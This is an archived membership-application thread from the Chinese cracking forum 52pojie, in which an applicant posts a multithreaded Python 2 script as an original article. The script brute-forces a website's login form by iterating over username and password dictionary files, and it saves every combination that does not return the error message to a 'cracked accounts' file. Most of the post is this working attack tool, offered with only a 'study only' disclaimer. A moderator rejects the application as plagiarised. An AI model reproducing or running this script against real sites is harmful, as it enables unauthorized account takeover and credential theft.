申请会员ID：l1093719703

发表于 2015-12-10 00:43

1、申请 I D：l1093719703
2、个人邮箱：viphxhack@qq.com
3、原创技术文章：# -*- coding: utf-8 -*-#linux爱好者我关注吾爱有几年了，每次开放注册我都错过了，自己也对逆向，破解和漏洞挖掘有了不少的了解，希望能通过，也希望和大神们学习和交流，这程序破解表单多线程python源码，如今还是有不少程序没加验证和异常访问限制之类的登陆验证方式,这程序作用还是不小分享给大家,(本代码仅限学习)
import urllib2
import urllib
import httplib
import threading

headers = {"Content-Type":"application/x-www-form-urlencoded",
      "Connection":"Keep-Alive",
      "Referer":"http://www.xxxxx.com/"};# referer:是代{过}{滤}理的访问来源地址
# lock = threading.Lock()
def tryUser(user,password):
#print user,password
global headers
global outFile
conn = httplib.HTTPConnection("www.xxxxx.com") # 远程域名
if len(user) < 3: # 限制用户名长度，排除字典中的无用数据
   return# 主动退出线程
else:
   #lock.acquire() # 多线程操作文件，提前加锁，用后释放
   #line = inFile.readline()

   #userData = line.strip().split(' # ') # strip() 默认去除空白字符包括' ','\t','\n'等
   #lock.release()

   user = user.strip()
   passwd = password.strip()
   params = urllib.urlencode({'username': user, 'password': passwd})
   conn.request(method="POST", url="/users/login", body=params, headers=headers) # 后台路径
   responseText = conn.getresponse().read().decode('utf8') # 网页编码
   #print responseText# 第一次可以打印看看是否解析
   if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 :
         print '----- find user:', user, 'with password:', passwd, '-----'
         outFile.write(user + ' ' +passwd + '\n')

return

outFile = open('accounts-cracked.txt', 'w')

if __name__ == '__main__':
tsk=[] # 创建线程池
with open(r'user.dic', 'r') as fUser:# 使用with as 来打开文件,不需自己关闭文件,因为他会自己在合适的时候自已关闭(类似C# 中的using(...){}接口)
   with open(r'pass.dic', 'r') as fPass:
         for user in fUser.readlines():
            for password in fPass.readlines():
               t= threading.Thread(target = tryUser,args=(user,password))
               t.daemon = False # 设置不进行进程守护
               tsk.append(t) # t.start()
            fPass.seek(0)
            # 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在
            # 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器
            # 也是end了)第二次就没有password 在 fPass中,也就是说 forpassword in fPass.readlines():
            # 为空,所以这里的内层循环就不会被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)


# join()无参数就是完全阻塞主线程,等待线程执行完有参数就是说，
# 在主线程等待一秒后就不阻塞线程了,继续执行主线程,这里的意思是一秒钟开一个线程
# 不能再thread start之前调用join(), 因为join() 是线程运行时调度
for t in tsk:
   t.start()
   t.join(1)

print "All thread OK,maybe not "
outFile.close()

Hmily 发表于 2015-12-10 17:38

抱歉，未达到申请要求，可以关注论坛微信账号（吾爱破解论坛），开放注册会通知，到时候来注册。另外这文章随便搜一下几年前就有，请问你是作者？

页: [1]

吾爱破解 - 52pojie.cn's Archiver

申请会员ID：l1093719703